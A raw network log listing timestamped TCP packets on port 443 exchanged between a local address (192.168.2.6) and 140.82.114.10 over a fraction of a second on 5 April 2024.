Apr 5, 2024 20:10:30.359080076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.359107971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.359134912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.360703945 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.360719919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.360752106 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.360755920 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.360793114 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.360805988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.363617897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.363636017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.363668919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.363673925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.363720894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.365350008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.365366936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.365412951 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.365417957 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.365442991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.365466118 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.365679026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.365725040 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.366534948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.366550922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.366583109 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.366588116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.366612911 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.369090080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.369110107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.369143009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.369148016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.369193077 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.370078087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.370093107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.370131969 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.370136976 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.370167971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.371572971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.371592999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.371620893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.371629000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.371648073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.371751070 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.371813059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.371817112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.371860027 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.372675896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.372694969 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.372725964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.372730970 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.372765064 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.372788906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.374352932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.374371052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.374408960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.374416113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.374445915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.375431061 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.375452042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.375489950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.375499010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.375514030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.375540018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.377068043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.377085924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.377118111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.377130985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.377134085 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.377170086 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.377203941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.378010988 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.378027916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.378072977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.378078938 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.378113985 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.378139019 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.378722906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.378741026 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.378768921 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.378773928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.378799915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.378824949 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.379463911 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.379487991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.379518986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.379524946 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.379544973 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.379573107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.380656958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.380673885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.380705118 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.380707979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.380717039 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.380733967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.380762100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.380765915 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.382637978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.382658958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.382690907 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.382695913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.382728100 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.386738062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.386765003 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.386801004 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.386805058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.386852980 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.386871099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.386893034 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.386919022 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.386924028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.386950970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.388186932 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.388209105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.388261080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.388267040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.388293982 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.388375998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.388420105 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.388425112 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.388467073 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.389096975 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.389112949 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.389164925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.389170885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.389211893 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.389997959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.390018940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.390063047 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.390067101 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.390110016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.390713930 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.390733004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.390759945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.390763998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.390799046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.390822887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391038895 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391063929 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391091108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391094923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391102076 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391124010 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391151905 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391151905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391163111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391191959 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391204119 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391206980 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391244888 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391345978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391360998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391390085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391393900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391424894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391449928 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391529083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391545057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391582012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391588926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391602039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391633034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391671896 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391690016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391716003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391719103 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391727924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391745090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391776085 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391779900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391832113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391860962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391866922 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391872883 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391886950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391927004 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391932011 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391942978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391961098 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.391973972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.391978979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392007113 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392113924 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392184019 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392199993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392247915 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392254114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392293930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392463923 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392486095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392514944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392519951 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392563105 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392626047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392668009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392673016 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392713070 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392819881 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.392942905 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.392959118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393002033 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393007040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393043041 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393430948 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393448114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393475056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393477917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393507004 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393529892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393815994 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393835068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393867970 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393872023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.393898964 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.393915892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.394155025 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.394257069 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.394273043 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.394299030 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.394303083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.394336939 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.394355059 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.408233881 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.408312082 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.409344912 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.409360886 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.409405947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.409410954 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.409435034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.410517931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.410541058 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.410581112 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.410586119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.410619974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.412995100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.413008928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.413070917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.413077116 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.413944006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.413961887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.413990021 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.413995028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.414037943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.415458918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.415504932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.416636944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.416652918 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.416707039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.416718006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.416762114 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.418092012 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.418114901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.418155909 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.418162107 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.418201923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.418220043 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.420367002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.420382977 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.420428991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.420434952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.420458078 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.420480013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.424947023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.424971104 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.425015926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.425020933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.425050974 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.425071955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.425075054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.425081968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.425116062 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.468971968 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.468993902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.469059944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.469069958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.469110012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.471687078 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.471705914 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.471749067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.471755028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.471802950 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.473947048 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.473973036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.474004984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.474010944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.474057913 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.475516081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.475532055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.475563049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.475565910 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.475615978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.475820065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.475863934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.476824999 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.476843119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.476885080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.476890087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.476912975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.477910042 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.477933884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.477962017 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.477967024 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.478008986 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.479115009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.479135036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.479185104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.479190111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.480865955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.480885983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.480920076 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.480928898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.480950117 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.481074095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.481118917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.481123924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.481169939 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.482827902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.482842922 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.482896090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.482902050 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.482939959 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.485872030 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.485888958 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.485935926 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.485940933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.485964060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.485987902 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.488807917 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.488823891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.488878012 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.488883018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.488918066 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.491735935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.491761923 CEST	443	49727	140.82.114.10	192.168.2.6
